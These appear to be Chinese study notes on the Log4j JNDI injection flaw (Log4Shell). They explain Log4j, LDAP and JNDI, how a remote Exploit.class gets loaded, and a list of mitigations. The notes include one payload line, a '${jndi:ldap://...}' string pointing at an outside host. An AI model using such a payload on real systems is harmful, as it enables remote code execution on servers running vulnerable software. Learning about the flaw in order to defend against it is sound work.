Log4jLDAPJNDIJNDI注入漏洞流程Log4j影响范围和排查方法修复漏洞
Log4jLog for Java,Apach的开源日志记录组件,使用非常广泛
使用方法:
1.pom引入依赖
2.获得logger实例
3.logger.info() debug() error() warn()
lightweight directory access protocol轻量级目录访问协议(目录服务)默认端口389
可以批量登录
LDAP目录服务,RMI远程方法调用,DNS,XNam,Novell目录服务,CORBA对象服务,文件系统,Windows XP/2000/NT/Me/9x的注册表,DSML v1&v2,NIS
Java Naming and Directory Interface ,JAVA命名和目录接口(命名服务接口)
命名服务:用于根据名字找到位置,服务,信息,资源,对象
基本操作:
1.发布服务(名字和资源的映射):bind()
2.用名字查找资源:lookup()
¥{jndi:Idap://wuya.com:5678/test}
通过JNDI的接口访问LDAP的服务,即通过名字,查找(lookup)LDAP的服务,获取LDAP中存储的数据
JNDI注入漏洞流程Naming reference命名引用
1,在LDAP里面可以存储一个外部资源,叫做命名引用,对应Reference类。比如远程HTTP服务的一个.class文件
2,如果JNDI客户端,在IDAP服务中找不到对应的资源,就去指定的地址请求。如果是命名引用,会把这个文件下载到本地,即test文件不存在,就下载Exploit.class
3,如果下载的.class文件包含无参数构造函数或静态方法块,加载的时候会自动执行
先开启LDAP服务,设置好IP和端口,运行log4j.class
扫描工具
1,禁止用户请求参数出现攻击字段
2,禁止lookuo下载远程文件(命名引用)
3,禁止log4j的应用连接外网
4,禁止log4j使用lookup
5,从log4j jar包中删除lookup
6,更新防护产品
spring的修复方法



